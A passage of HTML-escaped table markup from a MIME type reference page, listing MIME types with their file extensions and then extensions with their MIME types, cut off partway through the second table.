&lt;tr&gt;     &lt;td&gt;text/webviewhtml&lt;/td&gt;     &lt;td&gt;htt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/x-component&lt;/td&gt;     &lt;td&gt;htc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/x-setext&lt;/td&gt;     &lt;td&gt;etx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/x-vcard&lt;/td&gt;     &lt;td&gt;vcf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mp2&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mpa&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mpe&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mpg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;     &lt;td&gt;mpv2&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/quicktime&lt;/td&gt;     &lt;td&gt;mov&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/quicktime&lt;/td&gt;     &lt;td&gt;qt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-la-asf&lt;/td&gt;     &lt;td&gt;lsf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-la-asf&lt;/td&gt;     &lt;td&gt;lsx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;     &lt;td&gt;asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;     &lt;td&gt;asr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;     &lt;td&gt;asx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-msvideo&lt;/td&gt;     &lt;td&gt;avi&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;video/x-sgi-movie&lt;/td&gt;     &lt;td&gt;movie&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;flr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;wrl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;wrz&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;xaf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;     &lt;td&gt;xof&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;  &lt;h2&gt;Mime Types By File Extension&lt;/h2&gt;    &lt;table class="ex" border="1" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;th align="left"&gt;Extension&lt;/th&gt;     &lt;th align="left"&gt;Type/sub-type&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt; &lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;323&lt;/td&gt;     &lt;td&gt;text/h323&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;acx&lt;/td&gt;     &lt;td&gt;application/internet-property-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ai&lt;/td&gt;     &lt;td&gt;application/postscript&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;aif&lt;/td&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;aifc&lt;/td&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;aiff&lt;/td&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;asf&lt;/td&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;asr&lt;/td&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;asx&lt;/td&gt;     &lt;td&gt;video/x-ms-asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;au&lt;/td&gt;     &lt;td&gt;audio/basic&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;avi&lt;/td&gt;     &lt;td&gt;video/x-msvideo&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;axs&lt;/td&gt;     &lt;td&gt;application/olescript&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;bas&lt;/td&gt;     &lt;td&gt;text/plain&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;bcpio&lt;/td&gt;     &lt;td&gt;application/x-bcpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;bin&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;bmp&lt;/td&gt;     &lt;td&gt;image/bmp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;c&lt;/td&gt;     &lt;td&gt;text/plain&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cat&lt;/td&gt;     &lt;td&gt;application/vnd.ms-pkiseccat&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cdf&lt;/td&gt;     &lt;td&gt;application/x-cdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cer&lt;/td&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;class&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;clp&lt;/td&gt;     &lt;td&gt;application/x-msclip&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cmx&lt;/td&gt;     &lt;td&gt;image/x-cmx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cod&lt;/td&gt;     &lt;td&gt;image/cis-cod&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;cpio&lt;/td&gt;     &lt;td&gt;application/x-cpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;crd&lt;/td&gt;     &lt;td&gt;application/x-mscardfile&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;crl&lt;/td&gt;     &lt;td&gt;application/pkix-crl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;crt&lt;/td&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;csh&lt;/td&gt;     &lt;td&gt;application/x-csh&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;css&lt;/td&gt;     &lt;td&gt;text/css&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dcr&lt;/td&gt;     &lt;td&gt;application/x-director&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;der&lt;/td&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dir&lt;/td&gt;     &lt;td&gt;application/x-director&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dll&lt;/td&gt;     &lt;td&gt;application/x-msdownload&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dms&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;doc&lt;/td&gt;     &lt;td&gt;application/msword&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dot&lt;/td&gt;     &lt;td&gt;application/msword&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dvi&lt;/td&gt;     &lt;td&gt;application/x-dvi&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;dxr&lt;/td&gt;     &lt;td&gt;application/x-director&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;eps&lt;/td&gt;     &lt;td&gt;application/postscript&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;etx&lt;/td&gt;     &lt;td&gt;text/x-setext&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;evy&lt;/td&gt;     &lt;td&gt;application/envoy&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;exe&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;fif&lt;/td&gt;     &lt;td&gt;application/fractals&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;flr&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;gif&lt;/td&gt;     &lt;td&gt;image/gif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;gtar&lt;/td&gt;     &lt;td&gt;application/x-gtar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;gz&lt;/td&gt;     &lt;td&gt;application/x-gzip&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;h&lt;/td&gt;     &lt;td&gt;text/plain&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hdf&lt;/td&gt;     &lt;td&gt;application/x-hdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hlp&lt;/td&gt;     &lt;td&gt;application/winhlp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hqx&lt;/td&gt;     &lt;td&gt;application/mac-binhex40&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;hta&lt;/td&gt;     &lt;td&gt;application/hta&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;htc&lt;/td&gt;     &lt;td&gt;text/x-component&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;htm&lt;/td&gt;     &lt;td&gt;text/html&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;html&lt;/td&gt;     &lt;td&gt;text/html&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;htt&lt;/td&gt;     &lt;td&gt;text/webviewhtml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ico&lt;/td&gt;     &lt;td&gt;image/x-icon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ief&lt;/td&gt;     &lt;td&gt;image/ief&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;iii&lt;/td&gt;     &lt;td&gt;application/x-iphone&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ins&lt;/td&gt;     &lt;td&gt;application/x-internet-signup&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;isp&lt;/td&gt;     &lt;td&gt;application/x-internet-signup&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;jfif&lt;/td&gt;     &lt;td&gt;image/pipeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;jpe&lt;/td&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;jpeg&lt;/td&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;jpg&lt;/td&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;js&lt;/td&gt;     &lt;td&gt;application/x-javascript&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;latex&lt;/td&gt;     &lt;td&gt;application/x-latex&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;lha&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;lsf&lt;/td&gt;     &lt;td&gt;video/x-la-asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;lsx&lt;/td&gt;     &lt;td&gt;video/x-la-asf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;lzh&lt;/td&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;m13&lt;/td&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;m14&lt;/td&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;m3u&lt;/td&gt;     &lt;td&gt;audio/x-mpegurl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;man&lt;/td&gt;     &lt;td&gt;application/x-troff-man&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mdb&lt;/td&gt;     &lt;td&gt;application/x-msaccess&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;me&lt;/td&gt;     &lt;td&gt;application/x-troff-me&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mht&lt;/td&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mhtml&lt;/td&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mid&lt;/td&gt;     &lt;td&gt;audio/mid&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mny&lt;/td&gt;     &lt;td&gt;application/x-msmoney&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mov&lt;/td&gt;     &lt;td&gt;video/quicktime&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;movie&lt;/td&gt;     &lt;td&gt;video/x-sgi-movie&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mp2&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mp3&lt;/td&gt;     &lt;td&gt;audio/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpa&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpe&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpeg&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpg&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpp&lt;/td&gt;     &lt;td&gt;application/vnd.ms-project&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mpv2&lt;/td&gt;     &lt;td&gt;video/mpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ms&lt;/td&gt;     &lt;td&gt;application/x-troff-ms&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;mvb&lt;/td&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;nws&lt;/td&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;oda&lt;/td&gt;     &lt;td&gt;application/oda&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p10&lt;/td&gt;     &lt;td&gt;application/pkcs10&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p12&lt;/td&gt;     &lt;td&gt;application/x-pkcs12&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p7b&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-certificates&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p7c&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-mime&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p7m&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-mime&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p7r&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-certreqresp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;p7s&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-signature&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pbm&lt;/td&gt;     &lt;td&gt;image/x-portable-bitmap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pdf&lt;/td&gt;     &lt;td&gt;application/pdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pfx&lt;/td&gt;     &lt;td&gt;application/x-pkcs12&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pgm&lt;/td&gt;     &lt;td&gt;image/x-portable-graymap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pko&lt;/td&gt;     &lt;td&gt;application/ynd.ms-pkipko&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pma&lt;/td&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pmc&lt;/td&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pml&lt;/td&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pmr&lt;/td&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pmw&lt;/td&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pnm&lt;/td&gt;     &lt;td&gt;image/x-portable-anymap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pot,&lt;/td&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ppm&lt;/td&gt;     &lt;td&gt;image/x-portable-pixmap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pps&lt;/td&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ppt&lt;/td&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;prf&lt;/td&gt;     &lt;td&gt;application/pics-rules&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ps&lt;/td&gt;     &lt;td&gt;application/postscript&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;pub&lt;/td&gt;     &lt;td&gt;application/x-mspublisher&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;qt&lt;/td&gt;     &lt;td&gt;video/quicktime&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ra&lt;/td&gt;     &lt;td&gt;audio/x-pn-realaudio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ram&lt;/td&gt;     &lt;td&gt;audio/x-pn-realaudio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ras&lt;/td&gt;     &lt;td&gt;image/x-cmu-raster&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rgb&lt;/td&gt;     &lt;td&gt;image/x-rgb&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rmi&lt;/td&gt;     &lt;td&gt;audio/mid&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;roff&lt;/td&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rtf&lt;/td&gt;     &lt;td&gt;application/rtf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;rtx&lt;/td&gt;     &lt;td&gt;text/richtext&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;scd&lt;/td&gt;     &lt;td&gt;application/x-msschedule&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sct&lt;/td&gt;     &lt;td&gt;text/scriptlet&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;setpay&lt;/td&gt;     &lt;td&gt;application/set-payment-initiation&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;setreg&lt;/td&gt;     &lt;td&gt;application/set-registration-initiation&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sh&lt;/td&gt;     &lt;td&gt;application/x-sh&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;shar&lt;/td&gt;     &lt;td&gt;application/x-shar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sit&lt;/td&gt;     &lt;td&gt;application/x-stuffit&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;snd&lt;/td&gt;     &lt;td&gt;audio/basic&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;spc&lt;/td&gt;     &lt;td&gt;application/x-pkcs7-certificates&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;spl&lt;/td&gt;     &lt;td&gt;application/futuresplash&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;src&lt;/td&gt;     &lt;td&gt;application/x-wais-source&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sst&lt;/td&gt;     &lt;td&gt;application/vnd.ms-pkicertstore&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;stl&lt;/td&gt;     &lt;td&gt;application/vnd.ms-pkistl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;stm&lt;/td&gt;     &lt;td&gt;text/html&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;svg&lt;/td&gt;     &lt;td&gt;image/svg+xml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sv4cpio&lt;/td&gt;     &lt;td&gt;application/x-sv4cpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;sv4crc&lt;/td&gt;     &lt;td&gt;application/x-sv4crc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;swf&lt;/td&gt;     &lt;td&gt;application/x-shockwave-flash&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;t&lt;/td&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tar&lt;/td&gt;     &lt;td&gt;application/x-tar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tcl&lt;/td&gt;     &lt;td&gt;application/x-tcl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tex&lt;/td&gt;     &lt;td&gt;application/x-tex&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;texi&lt;/td&gt;     &lt;td&gt;application/x-texinfo&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;texinfo&lt;/td&gt;     &lt;td&gt;application/x-texinfo&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tgz&lt;/td&gt;     &lt;td&gt;application/x-compressed&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tif&lt;/td&gt;     &lt;td&gt;image/tiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tiff&lt;/td&gt;     &lt;td&gt;image/tiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tr&lt;/td&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;trm&lt;/td&gt;     &lt;td&gt;application/x-msterminal&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;tsv&lt;/td&gt;     &lt;td&gt;text/tab-separated-values&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;txt&lt;/td&gt;     &lt;td&gt;text/plain&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;uls&lt;/td&gt;     &lt;td&gt;text/iuls&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;ustar&lt;/td&gt;     &lt;td&gt;application/x-ustar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;vcf&lt;/td&gt;     &lt;td&gt;text/x-vcard&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;vrml&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wav&lt;/td&gt;     &lt;td&gt;audio/x-wav&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wcm&lt;/td&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wdb&lt;/td&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wks&lt;/td&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wmf&lt;/td&gt;     &lt;td&gt;application/x-msmetafile&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wps&lt;/td&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wri&lt;/td&gt;     &lt;td&gt;application/x-mswrite&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wrl&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;wrz&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xaf&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xbm&lt;/td&gt;     &lt;td&gt;image/x-xbitmap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xla&lt;/td&gt;     